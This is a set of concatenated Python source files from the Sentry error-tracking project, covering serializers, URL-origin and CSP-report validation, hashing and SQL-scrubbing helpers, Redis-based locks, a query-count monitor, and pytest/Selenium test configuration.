            'firstSeen': self.localize_datetime(obj.first_seen, request=request),
            'lastSeen': self.localize_datetime(obj.last_seen, request=request),
            'canResolve': request and request.user.is_authenticated(),
            'status': status_label,
            'isResolved': obj.get_status() == GroupStatus.RESOLVED,
            'isPublic': obj.is_public,
            'score': getattr(obj, 'sort_value', 0),
            'project': {
                'name': escape(obj.project.name),
                'slug': obj.project.slug,
            },
            'version': version,
        }
        if hasattr(obj, 'is_bookmarked'):
            d['isBookmarked'] = obj.is_bookmarked
        if hasattr(obj, 'has_seen'):
            d['hasSeen'] = obj.has_seen
        if hasattr(obj, 'historical_data'):
            d['historicalData'] = obj.historical_data
        if hasattr(obj, 'annotations'):
            d['annotations'] = obj.annotations

        # TODO(dcramer): these aren't tags, and annotations aren't annotations
        if request:
            d['tags'] = get_legacy_annotations(obj, request)
        return d






"""
sentry.utils.hashlib
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from hashlib import md5 as _md5
from hashlib import sha1 as _sha1

from django.utils.encoding import force_bytes


md5_text = lambda x: _md5(force_bytes(x, errors='replace'))
sha1_text = lambda x: _sha1(force_bytes(x, errors='replace'))






"""
sentry.utils.http
~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import ipaddress
import six

from collections import namedtuple
from django.conf import settings
from six.moves.urllib.parse import urlencode, urljoin, urlparse

from sentry import options


ParsedUriMatch = namedtuple('ParsedUriMatch', ['scheme', 'domain', 'path'])


def absolute_uri(url=None):
    if not url:
        return options.get('system.url-prefix')
    return urljoin(options.get('system.url-prefix').rstrip('/') + '/', url.lstrip('/'))


def safe_urlencode(params, doseq=0):
    """
    UTF-8-safe version of safe_urlencode

    The stdlib safe_urlencode prior to Python 3.x chokes on UTF-8 values
    which can't fail down to ascii.
    """
    # Snippet originally from pysolr: https://github.com/toastdriven/pysolr

    if hasattr(params, "items"):
        params = params.items()

    new_params = list()

    for k, v in params:
        k = k.encode("utf-8")

        if isinstance(v, six.string_types):
            new_params.append((k, v.encode("utf-8")))
        elif isinstance(v, (list, tuple)):
            new_params.append((k, [i.encode("utf-8") for i in v]))
        else:
            new_params.append((k, six.text_type(v)))

    return urlencode(new_params, doseq)


def is_same_domain(url1, url2):
    """
    Returns true if the two urls should be treated as if they're from the same
    domain (trusted).
    """
    url1 = urlparse(url1)
    url2 = urlparse(url2)
    return url1.netloc == url2.netloc


def get_origins(project=None):
    if settings.SENTRY_ALLOW_ORIGIN == '*':
        return frozenset(['*'])

    if settings.SENTRY_ALLOW_ORIGIN:
        result = settings.SENTRY_ALLOW_ORIGIN.split(' ')
    else:
        result = []

    if project:
        optval = project.get_option('sentry:origins', ['*'])
        if optval:
            result.extend(optval)

    # lowercase and strip the trailing slash from all origin values
    # filter out empty values
    return frozenset(filter(bool, map(lambda x: x.lower().rstrip('/'), result)))


def parse_uri_match(value):
    if '://' in value:
        scheme, value = value.split('://', 1)
    else:
        scheme = '*'

    if '/' in value:
        domain, path = value.split('/', 1)
    else:
        domain, path = value, '*'

    return ParsedUriMatch(scheme, domain, path)


def is_valid_origin(origin, project=None, allowed=None):
    """
    Given an ``origin`` which matches a base URI (e.g. http://example.com)
    determine if a valid origin is present in the project settings.

    Origins may be defined in several ways:

    - http://domain.com[:port]: exact match for base URI (must include port)
    - *: allow any domain
    - *.domain.com: matches domain.com and all subdomains, on any port
    - domain.com: matches domain.com on any port
    """
    if allowed is None:
        allowed = get_origins(project)

    if not allowed:
        return False

    if '*' in allowed:
        return True

    if not origin:
        return False

    # we always run a case insensitive check
    origin = origin.lower()

    # Fast check
    if origin in allowed:
        return True

    # XXX: In some cases origin might be localhost (or something similar) which causes a string value
    # of 'null' to be sent as the origin
    if origin == 'null':
        return False

    parsed = urlparse(origin)

    # There is no hostname, so the header is probably invalid
    if parsed.hostname is None:
        return False

    for value in allowed:
        bits = parse_uri_match(value)

        # scheme supports exact and any match
        if bits.scheme not in ('*', parsed.scheme):
            continue

        # domain supports exact, any, and prefix match
        if bits.domain[:2] == '*.':
            if parsed.hostname.endswith(bits.domain[1:]) or parsed.hostname == bits.domain[2:]:
                return True
            continue
        elif bits.domain not in ('*', parsed.hostname, parsed.netloc):
            continue

        # path supports exact, any, and suffix match (with or without *)
        path = bits.path
        if path == '*':
            return True
        if path.endswith('*'):
            path = path[:-1]
        if parsed.path.startswith(path):
            return True
    return False


def is_valid_ip(ip_address, project):
    """
    Verify that an IP address is not being blacklisted
    for the given project.
    """
    blacklist = project.get_option('sentry:blacklisted_ips')
    if not blacklist:
        return True

    for addr in blacklist:
        # We want to error fast if it's an exact match
        if ip_address == addr:
            return False

        # Check to make sure it's actually a range before
        if '/' in addr and ipaddress.ip_address(six.text_type(ip_address)) in ipaddress.ip_network(six.text_type(addr), strict=False):
            return False

    return True






from __future__ import absolute_import

import hashlib
import colorsys


def get_hashed_color(string, l=0.5, s=0.5):
    val = int(hashlib.md5(string.encode('utf-8')).hexdigest()[:3], 16)
    tup = colorsys.hls_to_rgb(val / 4096.0, l, s)
    return '#%02x%02x%02x' % (
        int(tup[0] * 255),
        int(tup[1] * 255),
        int(tup[2] * 255),
    )






"""
sentry.utils.csp
~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from sentry.utils.http import is_valid_origin

# Default block list sourced from personal experience as well as
# reputable blogs from Twitter and Dropbox
DISALLOWED_SOURCES = (
    'chrome://*',
    'chrome-extension://*',
    'chromeinvokeimmediate://*'
    'chromenull://*',
    'safari-extension://*',
    'mxaddon-pkg://*',
    'jar://*',
    'webviewprogressproxy://*',
    'tmtbff://*',
    'mbinit://*',
    'symres://*',
    'resource://*',

    '*.metrext.com',
    'static.image2play.com',
    '*.tlscdn.com',
    '73a5b0806e464be8bd4e694c744624f0.com',
    '020dfefc4ac745dab7594f2f771c1ded.com',
    '*.superfish.com',
    'addons.mozilla.org',
    'v.zilionfast.in',
    'widgets.amung.us',
    '*.superfish.com',
    'xls.searchfun.in',
    'istatic.datafastguru.info',
    'v.zilionfast.in',
    'localhost',
    'resultshub-a.akamaihd.net',
    'pulseadnetwork.com',
    'gateway.zscalertwo.net',
    'www.passpack.com',
    'middlerush-a.akamaihd.net',
    'www.websmartcenter.com',
    'a.linkluster.com',
    'saveyoutime.ru',
    'cdncache-a.akamaihd.net',
    'x.rafomedia.com',
    'savingsslider-a.akamaihd.net',
    'injections.adguard.com',
    'icontent.us',
    'amiok.org'
)

ALLOWED_DIRECTIVES = frozenset((
    'base-uri', 'child-src', 'connect-src', 'default-src',
    'font-src', 'form-action', 'frame-ancestors',
    'img-src', 'manifest-src', 'media-src', 'object-src',
    'plugin-types', 'referrer', 'script-src', 'style-src',
    'upgrade-insecure-requests',

    # Deprecated directives
    # > Note: This directive is deprecated. Use child-src instead.
    # > https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives#frame-src
    # 'frame-src',

    # I don't really know what this even is.
    # 'sandbox',
))


def is_valid_csp_report(report, project=None):
    # Some reports from Chrome report blocked-uri as just 'about'.
    # In this case, this is not actionable and is just noisy.
    # Observed in Chrome 45 and 46.

    if report.get('effective-directive') not in ALLOWED_DIRECTIVES:
        return False

    blocked_uri = report.get('blocked-uri')
    if blocked_uri == 'about':
        return False

    source_file = report.get('source-file')

    # We must have one of these to do anyting sensible
    if not any((blocked_uri, source_file)):
        return False

    if project is None or bool(project.get_option('sentry:csp_ignore_hosts_defaults', True)):
        disallowed_sources = DISALLOWED_SOURCES
    else:
        disallowed_sources = ()

    if project is not None:
        disallowed_sources += tuple(project.get_option('sentry:csp_ignore_hosts', []))

    if not disallowed_sources:
        return True

    if source_file and is_valid_origin(source_file, allowed=disallowed_sources):
        return False

    if blocked_uri and is_valid_origin(blocked_uri, allowed=disallowed_sources):
        return False

    return True






from __future__ import absolute_import


def chunked(iterator, size):
    chunk = []
    for item in iterator:
        chunk.append(item)
        if len(chunk) == size:
            yield chunk
            del chunk[:]
    yield chunk






"""
sentry.utils.sqlparser
~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from sqlparse import engine
from sqlparse import filters
from sqlparse import tokens as T


class ValueFilter(filters.TokenFilter):
    include = (T.String, T.Number)
    exclude = (T.String.Symbol,)

    def process(self, stack, stream):
        for ttype, value in stream:
            parent = ttype
            while parent:
                if parent in self.exclude:
                    break
                if parent in self.include:
                    value = '?'
                    break
                if ttype.parent == parent:
                    parent = None
                else:
                    parent = ttype.parent
            yield ttype, value


def parse(query):
    stack = engine.FilterStack()
    stack.preprocess.append(ValueFilter())
    stack.postprocess.append(filters.SerializerUnicode())
    return ''.join(stack.run(query))






from __future__ import absolute_import

try:
    from html import escape  # NOQA
except ImportError:
    from cgi import escape as _escape  # NOQA

    def escape(value):
        return _escape(value, True)






"""
sentry.utils.samples
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2013 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import os.path
from datetime import datetime, timedelta

from sentry.constants import DATA_ROOT
from sentry.event_manager import EventManager
from sentry.utils import json


epoch = datetime.utcfromtimestamp(0)


def milliseconds_ago(now, milliseconds):
    ago = (now - timedelta(milliseconds=milliseconds))
    return (ago - epoch).total_seconds()


def load_data(platform, default=None, timestamp=None):
    # NOTE: Before editing this data, make sure you understand the context
    # in which its being used. It is NOT only used for local development and
    # has production consequences.
    #   * bin/load-mocks to generate fake data for local testing
    #   * When a new project is created, a fake event is generated as a "starter"
    #     event so it's not an empty project.
    #   * When a user clicks Test Configuration from notification plugin settings page,
    #     a fake event is generated to go through the pipeline.

    data = None
    for platform in (platform, default):
        if platform is None:
            continue

        json_path = os.path.join(DATA_ROOT, 'samples', '%s.json' % (platform.encode('utf-8'),))

        if not os.path.exists(json_path):
            continue

        with open(json_path) as fp:
            data = json.loads(fp.read())
            break

    if data is None:
        return

    if platform == 'csp':
        return data

    data['platform'] = platform
    data['message'] = 'This is an example %s exception' % (platform,)
    data['sentry.interfaces.User'] = {
        "username": "getsentry",
        "id": "1671",
        "email": "foo@example.com"
    }
    data['extra'] = {
        'session': {
            'foo': 'bar',
        },
        'results': [1, 2, 3, 4, 5],
        'emptyList': [],
        'emptyMap': {},
        'length': 10837790,
        'unauthorized': False,
        'url': 'http://example.org/foo/bar/',
    }
    data['modules'] = {
        'my.package': '1.0.0',
    }
    data['sentry.interfaces.Http'] = {
        "cookies": 'foo=bar;biz=baz',
        "url": "http://example.com/foo",
        "headers": {
            "Referer": "http://example.com",
            "Content-Type": "application/json",
            "User-Agent": "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.72 Safari/537.36"
        },
        "env": {
            'ENV': 'prod',
        },
        "query_string": "foo=bar",
        "data": '{"hello": "world"}',
        "method": "GET"
    }

    start = datetime.utcnow()
    if timestamp:
        try:
            start = datetime.utcfromtimestamp(timestamp)
        except TypeError:
            pass

    # Make breadcrumb timestamps relative to right now so they make sense
    breadcrumbs = data.get('sentry.interfaces.Breadcrumbs')
    if breadcrumbs is not None:
        duration = 1000
        values = breadcrumbs['values']
        for value in reversed(values):
            value['timestamp'] = milliseconds_ago(start, duration)

            # Every breadcrumb is 1s apart
            duration += 1000

    return data


def create_sample_event(project, platform=None, default=None, raw=True,
                        **kwargs):
    if not platform and not default:
        return

    if platform:
        platform = platform.split('-', 1)[0].split('_', 1)[0]

    timestamp = kwargs.get('timestamp')

    data = load_data(platform, default, timestamp)

    if not data:
        return

    data.update(kwargs)
    data.setdefault('environment', 'production')

    manager = EventManager(data)
    manager.normalize()
    return manager.save(project.id, raw=raw)






from __future__ import absolute_import

import six

try:
    import cPickle as pickle
except ImportError:
    import pickle  # NOQA

_identity = lambda x: x

if six.PY2:
    # https://github.com/pallets/werkzeug/blob/master/werkzeug/_compat.py
    def implements_to_string(cls):
        cls.__unicode__ = cls.__str__
        cls.__str__ = lambda x: x.__unicode__().encode('utf-8')
        return cls

    def implements_iterator(cls):
        cls.next = cls.__next__
        del cls.__next__
        return cls

    def implements_bool(cls):
        cls.__nonzero__ = cls.__bool__
        del cls.__bool__
        return cls
else:
    implements_to_string = _identity
    implements_iterator = _identity
    implements_bool = _identity






from __future__ import absolute_import

import logging
import six

from contextlib import contextmanager

from sentry.utils.locking import UnableToAcquireLock


logger = logging.getLogger(__name__)


class Lock(object):
    def __init__(self, backend, key, duration, routing_key=None):
        self.backend = backend
        self.key = key
        self.duration = duration
        self.routing_key = routing_key

    def __repr__(self):
        return '<Lock: {!r}>'.format(self.key)

    def acquire(self):
        """
        Attempt to acquire the lock.

        If the lock is successfully acquired, this method returns a context
        manager that will automatically release the lock when exited. If the
        lock cannot be acquired, an ``UnableToAcquireLock`` error will be
        raised.
        """
        try:
            self.backend.acquire(self.key, self.duration, self.routing_key)
        except Exception as error:
            six.raise_from(UnableToAcquireLock('Unable to acquire {!r} due to error: {}'.format(self, error)), error)

        @contextmanager
        def releaser():
            try:
                yield
            finally:
                self.release()

        return releaser()

    def release(self):
        """
        Attempt to release the lock.

        Any exceptions raised when attempting to release the lock are logged
        and supressed.
        """
        try:
            self.backend.release(self.key, self.routing_key)
        except Exception as error:
            logger.warning('Failed to release %r due to error: %r', self, error, exc_info=True)






from __future__ import absolute_import


class UnableToAcquireLock(Exception):
    """Exception raised when a lock cannot be acquired."""






from __future__ import absolute_import

from sentry.utils.locking.lock import Lock


class LockManager(object):
    def __init__(self, backend):
        self.backend = backend

    def get(self, key, duration, routing_key=None):
        """
        Retrieve a ``Lock`` instance.
        """
        return Lock(self.backend, key, duration, routing_key)






from __future__ import absolute_import

import six

from uuid import uuid4

from sentry.utils import redis
from sentry.utils.locking.backends import LockBackend

delete_lock = redis.load_script('utils/locking/delete_lock.lua')


class RedisLockBackend(LockBackend):
    def __init__(self, cluster, prefix='l:', uuid=None):
        if uuid is None:
            uuid = uuid4().hex

        self.cluster = cluster
        self.prefix = prefix
        self.uuid = uuid

    def get_client(self, key, routing_key=None):
        # This is a bit of an abstraction leak, but if an integer is provided
        # we use that value to determine placement rather than the cluster
        # router. This leaking allows us us to have more fine-grained control
        # when data is already placed within partitions where the router
        # wouldn't have placed it based on the key hash, and maintain data
        # locality and failure isolation within those partitions. (For example,
        # the entirety of a digest is bound to a specific partition by the
        # *digest* key, even though a digest is composed of multiple values at
        # different keys that would otherwise be placed on different
        # partitions.)
        if isinstance(routing_key, six.integer_types):
            index = routing_key % len(self.cluster.hosts)
            return self.cluster.get_local_client(index)

        if routing_key is not None:
            key = routing_key
        else:
            key = self.prefix_key(key)

        return self.cluster.get_local_client_for_key(key)

    def prefix_key(self, key):
        return u'{}{}'.format(self.prefix, key)

    def acquire(self, key, duration, routing_key=None):
        client = self.get_client(key, routing_key)
        full_key = self.prefix_key(key)
        if client.set(full_key, self.uuid, ex=duration, nx=True) is not True:
            raise Exception('Could not set key: {!r}'.format(full_key))

    def release(self, key, routing_key=None):
        client = self.get_client(key, routing_key)
        delete_lock(client, (self.prefix_key(key),), (self.uuid,))






from __future__ import absolute_import


class LockBackend(object):
    """
    Interface for providing lock behavior that is used by the
    ``sentry.utils.locking.Lock`` class.
    """
    def acquire(self, key, duration, routing_key=None):
        """
        Acquire a lock, represented by the given key for the given duration (in
        seconds.) This method should attempt to acquire the lock once, in a
        non-blocking fashion, allowing attempt retry policies to be defined
        separately. A routing key may also be provided to control placement,
        but how or if it is implemented is dependent on the specific backend
        implementation.

        The return value is not used. If the lock cannot be acquired, an
        exception should be raised.
        """
        raise NotImplementedError

    def release(self, key, routing_key=None):
        """
        Release a lock. The return value is not used.
        """
        raise NotImplementedError






from __future__ import absolute_import

import logging
import six
import threading

from collections import defaultdict

from sentry.debug.utils.patch_context import PatchContext

DEFAULT_MAX_QUERIES = 25
DEFAULT_MAX_DUPES = 3


class State(threading.local):
    def __init__(self):
        self.count = 0
        self.query_hashes = defaultdict(int)

    def record_query(self, sql):
        self.count += 1
        self.query_hashes[hash(sql)] += 1

    def count_dupes(self):
        return sum(1 for n in six.itervalues(self.query_hashes) if n > 1)


class CursorWrapper(object):
    def __init__(self, cursor, connection, state):
        self.cursor = cursor
        self.connection = connection
        self._state = state

    def execute(self, sql, params=()):
        try:
            return self.cursor.execute(sql, params)
        finally:
            self._state.record_query(sql)

    def executemany(self, sql, paramlist):
        try:
            return self.cursor.executemany(sql, paramlist)
        finally:
            self._state.record_query(sql)

    def __getattr__(self, attr):
        if attr in self.__dict__:
            return self.__dict__[attr]
        else:
            return getattr(self.cursor, attr)

    def __iter__(self):
        return iter(self.cursor)


def get_cursor_wrapper(state):
    def cursor(func, self, *args, **kwargs):
        result = func(self, *args, **kwargs)

        return CursorWrapper(result, self, state)
    return cursor


class SqlQueryCountMonitor(object):
    def __init__(self, context, max_queries=DEFAULT_MAX_QUERIES,
                 max_dupes=DEFAULT_MAX_DUPES, logger=None, **kwargs):
        self.context = context
        self.max_queries = max_queries
        self.max_dupes = max_dupes
        self.logger = logger or logging.getLogger(__name__)

        self.state = State()

        self._cursor = get_cursor_wrapper(self.state)
        self._patcher = PatchContext('django.db.backends.BaseDatabaseWrapper.cursor', self._cursor)

    def __enter__(self):
        self.start()
        return self

    def __exit__(self, *args, **kwargs):
        self.stop()

    def start(self):
        self._patcher.patch()

    def stop(self):
        self._patcher.unpatch()

        num_dupes = self.state.count_dupes()

        if self.state.count > self.max_queries:
            self.log_max_queries(num_dupes)

        if num_dupes > self.max_dupes:
            self.log_max_dupes(num_dupes)

    def log_max_dupes(self, num_dupes):
        state = self.state

        context = {
            'stack': True,
            'data': {
                'query_count': state.count,
                'num_dupes': num_dupes,
            }
        }

        self.logger.warning('%d duplicate queries executed in %s',
                            num_dupes, self.context, extra=context)

    def log_max_queries(self, num_dupes):
        state = self.state

        context = {
            'stack': True,
            'data': {
                'query_count': state.count,
                'num_dupes': num_dupes,
            }
        }

        self.logger.warning('%d queries executed in %s',
                            state.count, self.context, extra=context)






from __future__ import absolute_import

from .sqlquerycount import SqlQueryCountMonitor  # NOQA






from __future__ import absolute_import

# TODO(dcramer): this heavily inspired by pytest-selenium, and it's possible
# we could simply inherit from the plugin at this point

import os
import pytest
import signal

from datetime import datetime
from django.conf import settings
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions
from six.moves.urllib.parse import quote, urlparse


class Browser(object):
    def __init__(self, driver, live_server, percy):
        self.driver = driver
        self.live_server_url = live_server.url
        self.percy = percy
        self.domain = urlparse(self.live_server_url).hostname
        self._has_initialized_cookie_store = False

    def __getattr__(self, attr):
        return getattr(self.driver, attr)

    def route(self, path, *args, **kwargs):
        """
        Return the absolute URI for a given route in Sentry.
        """
        return '{}/{}'.format(self.live_server_url, path.strip('/').format(
            *args, **kwargs
        ))

    def get(self, path, *args, **kwargs):
        self.driver.get(self.route(path), *args, **kwargs)
        return self

    def post(self, path, *args, **kwargs):
        self.driver.post(self.route(path), *args, **kwargs)
        return self

    def put(self, path, *args, **kwargs):
        self.driver.put(self.route(path), *args, **kwargs)
        return self

    def delete(self, path, *args, **kwargs):
        self.driver.delete(self.route(path), *args, **kwargs)
        return self

    def wait_until(self, selector, timeout=3):
        """
        Waits until ``selector`` is found in the browser, or until ``timeout``
        is hit, whichever happens first.
        """
        from selenium.webdriver.common.by import By

        WebDriverWait(self.driver, timeout).until(
            expected_conditions.presence_of_element_located(
                (By.CSS_SELECTOR, selector)
            )
        )

        return self

    def wait_until_not(self, selector, timeout=3):
        """
        Waits until ``selector`` is NOT found in the browser, or until
        ``timeout`` is hit, whichever happens first.
        """
        from selenium.webdriver.common.by import By

        WebDriverWait(self.driver, timeout).until_not(
            expected_conditions.presence_of_element_located(
                (By.CSS_SELECTOR, selector)
            )
        )

        return self

    def snapshot(self, name):
        """
        Capture a screenshot of the current state of the page. Screenshots
        are captured both locally (in ``cls.screenshots_path``) as well as
        with Percy (when enabled).
        """
        # TODO(dcramer): ideally this would take the executing test package
        # into account for duplicate names
        self.percy.snapshot(name=name)
        return self

    def save_cookie(self, name, value, path='/',
                    expires='Tue, 20 Jun 2025 19:07:44 GMT'):
        # XXX(dcramer): "hit a url before trying to set cookies"
        if not self._has_initialized_cookie_store:
            self.get('/')
            self._has_initialized_cookie_store = True

        # XXX(dcramer): PhantomJS does not let us add cookies with the native
        # selenium API because....
        # http://stackoverflow.com/questions/37103621/adding-cookies-working-with-firefox-webdriver-but-not-in-phantomjs
        # TODO(dcramer): this should be escaped, but idgaf
        self.driver.execute_script("document.cookie = '{name}={value}; path={path}; domain={domain}; expires={expires}';\n".format(
            name=name,
            value=value,
            expires=expires,
            path=path,
            domain=self.domain,
        ))


def pytest_addoption(parser):
    parser.addini('selenium_driver',
                  help='selenium driver (phantomjs or firefox)')

    group = parser.getgroup('selenium', 'selenium')
    group._addoption('--selenium-driver',
                     dest='selenium_driver',
                     help='selenium driver (phantomjs or firefox)')


def pytest_configure(config):
    if hasattr(config, 'slaveinput'):
        return  # xdist slave

    config.option.selenium_driver = config.getoption('selenium_driver') or \
        config.getini('selenium_driver') or \
        os.getenv('SELENIUM_DRIVER')


@pytest.fixture(scope='session')
def percy(request):
    import percy

    # Initialize Percy.
    loader = percy.ResourceLoader(
        root_dir=settings.STATIC_ROOT,
        base_url=quote(settings.STATIC_URL),
    )
    percy_config = percy.Config(default_widths=settings.PERCY_DEFAULT_TESTING_WIDTHS)
    percy = percy.Runner(loader=loader, config=percy_config)
    percy.initialize_build()

    request.addfinalizer(percy.finalize_build)
    return percy


@pytest.fixture(scope='function')
def browser(request, percy, live_server):
    driver_type = request.config.getoption('selenium_driver')
    if driver_type == 'firefox':
        driver = webdriver.Firefox()
    elif driver_type == 'phantomjs':
        phantomjs_path = os.path.join(
            settings.NODE_MODULES_ROOT,
            'phantomjs-prebuilt',
            'bin',
            'phantomjs',
        )
        driver = webdriver.PhantomJS(executable_path=phantomjs_path)
        driver.set_window_size(1280, 800)
    else:
        raise pytest.UsageError('--driver must be specified')

    def fin():
        # Teardown Selenium.
        try:
            driver.close()
        except Exception:
            pass
        # TODO: remove this when fixed in: https://github.com/seleniumhq/selenium/issues/767
        if hasattr(driver, 'service'):
            driver.service.process.send_signal(signal.SIGTERM)
        driver.quit()

    request.node._driver = driver
    request.addfinalizer(fin)

    browser = Browser(driver, live_server, percy)

    if hasattr(request, 'cls'):
        request.cls.browser = browser
    request.node.browser = browser

    # bind webdriver to percy for snapshots
    percy.loader.webdriver = driver

    return driver


@pytest.fixture(scope='session', autouse=True)
def _environment(request):
    config = request.config
    # add environment details to the pytest-html plugin
    config._environment.append(('Driver', config.option.selenium_driver))


@pytest.mark.tryfirst
def pytest_runtest_makereport(item, call, __multicall__):
    report = __multicall__.execute()
    summary = []
    extra = getattr(report, 'extra', [])
    driver = getattr(item, '_driver', None)
    if driver is not None:
        _gather_url(item, report, driver, summary, extra)
        _gather_screenshot(item, report, driver, summary, extra)
        _gather_html(item, report, driver, summary, extra)
        _gather_logs(item, report, driver, summary, extra)
    if summary:
        report.sections.append(('selenium', '\n'.join(summary)))
    report.extra = extra
    return report


def _gather_url(item, report, driver, summary, extra):
    try:
        url = driver.current_url
    except Exception as e:
        summary.append('WARNING: Failed to gather URL: {0}'.format(e))
        return
    pytest_html = item.config.pluginmanager.getplugin('html')
    if pytest_html is not None:
        # add url to the html report
        extra.append(pytest_html.extras.url(url))
    summary.append('URL: {0}'.format(url))


def _gather_screenshot(item, report, driver, summary, extra):
    try:
        screenshot = driver.get_screenshot_as_base64()
    except Exception as e:
        summary.append('WARNING: Failed to gather screenshot: {0}'.format(e))
        return
    pytest_html = item.config.pluginmanager.getplugin('html')
    if pytest_html is not None:
        # add screenshot to the html report
        extra.append(pytest_html.extras.image(screenshot, 'Screenshot'))


def _gather_html(item, report, driver, summary, extra):
    try:
        html = driver.page_source.encode('utf-8')
    except Exception as e:
        summary.append('WARNING: Failed to gather HTML: {0}'.format(e))
        return
    pytest_html = item.config.pluginmanager.getplugin('html')
    if pytest_html is not None:
        # add page source to the html report
        extra.append(pytest_html.extras.text(html, 'HTML'))


def _gather_logs(item, report, driver, summary, extra):
    try:
        types = driver.log_types
    except Exception as e:
        # note that some drivers may not implement log types
        summary.append('WARNING: Failed to gather log types: {0}'.format(e))
        return
    for name in types:
        try:
            log = driver.get_log(name)
        except Exception as e:
            summary.append('WARNING: Failed to gather {0} log: {1}'.format(
                name, e))
            return
        pytest_html = item.config.pluginmanager.getplugin('html')
        if pytest_html is not None:
            extra.append(pytest_html.extras.text(
                format_log(log), '%s Log' % name.title()))


def format_log(log):
    timestamp_format = '%Y-%m-%d %H:%M:%S.%f'
    entries = [u'{0} {1[level]} - {1[message]}'.format(
        datetime.utcfromtimestamp(entry['timestamp'] / 1000.0).strftime(
            timestamp_format), entry).rstrip() for entry in log]
    log = '\n'.join(entries)
    log = log.encode('utf-8')
    return log






from __future__ import absolute_import

pytest_plugins = [
    'sentry.utils.pytest.sentry',
    'sentry.utils.pytest.selenium',
]






from __future__ import absolute_import

import mock
import os

from django.conf import settings


def pytest_configure(config):
    # HACK: Only needed for testing!
    os.environ.setdefault('_SENTRY_SKIP_CONFIGURATION', '1')

    os.environ.setdefault('RECAPTCHA_TESTING', 'True')
    os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'sentry.conf.server')

    if not settings.configured:
        # only configure the db if its not already done
        test_db = os.environ.get('DB', 'postgres')
        if test_db == 'mysql':
            settings.DATABASES['default'].update({
                'ENGINE': 'django.db.backends.mysql',
                'NAME': 'sentry',
                'USER': 'root',
                'HOST': '127.0.0.1',
            })
            # mysql requires running full migration all the time
            settings.SOUTH_TESTS_MIGRATE = True
        elif test_db == 'postgres':
            settings.DATABASES['default'].update({
                'ENGINE': 'sentry.db.postgres',
                'USER': 'postgres',
                'NAME': 'sentry',
            })
            # postgres requires running full migration all the time
            # since it has to install stored functions which come from
            # an actual migration.
            settings.SOUTH_TESTS_MIGRATE = True
        elif test_db == 'sqlite':
            settings.DATABASES['default'].update({
                'ENGINE': 'django.db.backends.sqlite3',
                'NAME': ':memory:',
            })
            settings.SOUTH_TESTS_MIGRATE = os.environ.get('SENTRY_SOUTH_TESTS_MIGRATE', '1') == '1'
        else:
            raise RuntimeError('oops, wrong database: %r' % test_db)

    settings.TEMPLATE_DEBUG = True

    # Disable static compiling in tests
    settings.STATIC_BUNDLES = {}

    # override a few things with our test specifics
    settings.INSTALLED_APPS = tuple(settings.INSTALLED_APPS) + (
        'tests',
    )
    # Need a predictable key for tests that involve checking signatures
    settings.SENTRY_PUBLIC = False

    if not settings.SENTRY_CACHE:
        settings.SENTRY_CACHE = 'sentry.cache.django.DjangoCache'
        settings.SENTRY_CACHE_OPTIONS = {}

    # This speeds up the tests considerably, pbkdf2 is by design, slow.
    settings.PASSWORD_HASHERS = [
        'django.contrib.auth.hashers.MD5PasswordHasher',
    ]

    # Replace real sudo middleware with our mock sudo middleware
    # to assert that the user is always in sudo mode
    middleware = list(settings.MIDDLEWARE_CLASSES)
    sudo = middleware.index('sentry.middleware.sudo.SudoMiddleware')
    middleware[sudo] = 'sentry.testutils.middleware.SudoMiddleware'
    settings.MIDDLEWARE_CLASSES = tuple(middleware)

    # enable draft features
    settings.SENTRY_OPTIONS['mail.enable-replies'] = True

    settings.SENTRY_ALLOW_ORIGIN = '*'

    settings.SENTRY_TSDB = 'sentry.tsdb.inmemory.InMemoryTSDB'
    settings.SENTRY_TSDB_OPTIONS = {}

    settings.RECAPTCHA_PUBLIC_KEY = 'a' * 40
    settings.RECAPTCHA_PRIVATE_KEY = 'b' * 40

    settings.BROKER_BACKEND = 'memory'
    settings.BROKER_URL = None
    settings.CELERY_ALWAYS_EAGER = False
    settings.CELERY_EAGER_PROPAGATES_EXCEPTIONS = True

    settings.DEBUG_VIEWS = True

    settings.DISABLE_RAVEN = True

    settings.CACHES = {
        'default': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
        }
    }

    if not hasattr(settings, 'SENTRY_OPTIONS'):
        settings.SENTRY_OPTIONS = {}

    settings.SENTRY_OPTIONS.update({
        'redis.clusters': {
            'default': {
                'hosts': {
                    0: {
                        'db': 9,
                    },
                },
            },
        },
        'mail.backend': 'django.core.mail.backends.locmem.EmailBackend',
        'system.url-prefix': 'http://testserver',
    })

    # django mail uses socket.getfqdn which doesn't play nice if our
    # networking isn't stable
    patcher = mock.patch('socket.getfqdn', return_value='localhost')
    patcher.start()

    from sentry.runner.initializer import (
        bootstrap_options, configure_structlog, initialize_receivers, fix_south,
        bind_cache_to_option_store)

    bootstrap_options(settings)
    configure_structlog()
    fix_south(settings)

    bind_cache_to_option_store()

    initialize_receivers()

    from sentry.plugins import plugins
    from sentry.plugins.utils import TestIssuePlugin2

    plugins.register(TestIssuePlugin2)

    from sentry.utils.redis import clusters

    with clusters.get('default').all() as client:
        client.flushdb()

    # force celery registration
    from sentry.celery import app  # NOQA

    # disable DISALLOWED_IPS
    from sentry import http
    http.DISALLOWED_IPS = set()


def pytest_runtest_teardown(item):
    from sentry.app import tsdb
    tsdb.flush()

    from sentry.utils.redis import clusters

    with clusters.get('default').all() as client:
        client.flushdb()

    from celery.task.control import discard_all
    discard_all()






"""
sentry.db.exceptions
~~~~~~~~~~~~~~~~~~~~

